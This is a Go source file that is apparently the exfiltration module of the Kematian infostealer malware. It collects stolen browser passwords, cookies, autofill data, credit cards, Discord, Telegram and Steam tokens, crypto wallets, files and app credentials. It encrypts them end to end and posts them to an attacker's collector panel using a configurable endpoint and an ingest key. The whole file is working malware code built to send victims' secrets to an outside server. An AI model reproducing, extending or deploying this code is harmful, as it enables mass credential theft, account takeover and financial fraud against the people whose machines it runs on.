Files
kematianc2/Kematian-Standalone/native/recovery/exfil/panel.go
T
2026-08-27 11:23:01 -06:00

249 lines
6.2 KiB
Go

package exfil
import (
"bytes"
"crypto/ecdh"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/hkdf"
"recovery/recovery/types"
)
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
// build time (see build_final.bat or set here).
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
// the panel. Only this public key is needed to post; decryption needs the
// private key that only the panel holds.
var (
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
PanelPubKey = ""
// Ingest key must match PANEL_INGEST_KEY on the panel.
PanelAuth = "CHANGE-ME"
)
const (
e2eeSalt = "kematian-e2ee-salt"
e2eeInfo = "kematian-e2ee-v1"
)
// e2eeSeal encrypts plaintext toward the panel's public key.
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
func e2eeSeal(plaintext []byte) (string, error) {
pkBytes, err := hex.DecodeString(PanelPubKey)
if err != nil || len(pkBytes) != 32 {
return "", fmt.Errorf("invalid panel public key: %v", err)
}
curve := ecdh.X25519()
panelPub, err := curve.NewPublicKey(pkBytes)
if err != nil {
return "", err
}
ephPriv, err := curve.GenerateKey(rand.Reader)
if err != nil {
return "", err
}
shared, err := ephPriv.ECDH(panelPub)
if err != nil {
return "", err
}
// HKDF-SHA256(shared, salt, info) -> 32-byte key
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
key := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(r, key); err != nil {
return "", err
}
aead, err := chacha20poly1305.New(key)
if err != nil {
return "", err
}
nonce := make([]byte, aead.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return "", err
}
ct := aead.Seal(nil, nonce, plaintext, nil)
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
wire = append(wire, ct...)
return base64.StdEncoding.EncodeToString(wire), nil
}
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
// already embedded. This removes the need to paste the key at build time: only
// the endpoint + auth key are baked in, the agent asks the panel for its key.
func ensurePubKey() error {
if PanelPubKey != "" {
return nil
}
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
if err != nil {
return err
}
req.Header.Set("Authorization", "Bearer "+PanelAuth)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return fmt.Errorf("fetching pubkey: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
}
body, _ := io.ReadAll(resp.Body)
var out struct {
PublicKey string `json:"publicKey"`
}
if err := json.Unmarshal(body, &out); err != nil {
return fmt.Errorf("parsing pubkey: %w", err)
}
if len(out.PublicKey) != 64 {
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
}
PanelPubKey = out.PublicKey
return nil
}
func buildBaseURL() string {
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
}
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
// to the collector panel over E2EE.
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
if PanelEndpoint == "" {
return fmt.Errorf("panel endpoint not configured")
}
if err := ensurePubKey(); err != nil {
return err
}
if PanelPubKey == "" {
return fmt.Errorf("no pubkey available")
}
payload := buildPanelPayload(result, clientID)
if len(payloads) > 0 {
payload["payloads"] = payloads
}
plainJSON, err := json.Marshal(payload)
if err != nil {
return err
}
enc, err := e2eeSeal(plainJSON)
if err != nil {
return err
}
body, _ := json.Marshal(map[string]string{"enc": enc})
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+PanelAuth)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
}
return nil
}
func guessOS() string {
if runtime.GOOS == "windows" {
return os.Getenv("OS")
}
return runtime.GOOS
}
func guessArch() string {
return runtime.GOARCH
}
func GenerateClientID() string {
b := make([]byte, 12)
_, _ = rand.Read(b)
return base64.RawURLEncoding.EncodeToString(b)
}
// buildPanelPayload maps a CollectionResult to the flat structure the panel
// ingest stores into its per-category tables. clientID groups everything.
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
p := map[string]interface{}{
"clientId": clientID,
"host": map[string]interface{}{
"os": guessOS(),
"arch": guessArch(),
},
}
if l := len(r.Passwords); l > 0 {
p["passwords"] = r.Passwords
}
if l := len(r.Cookies); l > 0 {
p["cookies"] = r.Cookies
}
if l := len(r.Autofill); l > 0 {
p["autofill"] = r.Autofill
}
if l := len(r.History); l > 0 {
p["history"] = r.History
}
if l := len(r.Bookmarks); l > 0 {
p["bookmarks"] = r.Bookmarks
}
if l := len(r.CreditCards); l > 0 {
p["creditCards"] = r.CreditCards
}
if l := len(r.DiscordTokens); l > 0 {
p["discordTokens"] = r.DiscordTokens
}
if l := len(r.Files); l > 0 {
p["files"] = r.Files
}
if l := len(r.Extensions); l > 0 {
p["extensions"] = r.Extensions
}
if l := len(r.Wallets); l > 0 {
p["wallets"] = r.Wallets
}
if l := len(r.Telegram); l > 0 {
p["telegram"] = r.Telegram
}
if l := len(r.Keys); l > 0 {
p["keys"] = r.Keys
}
if l := len(r.AppCredentials); l > 0 {
p["appCredentials"] = r.AppCredentials
}
if r.Gaming != nil {
p["gaming"] = r.Gaming
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
p["steamTokens"] = r.Gaming.Steam.SteamTokens
}
}
if r.VPNs != nil {
p["vpns"] = r.VPNs
}
return p
}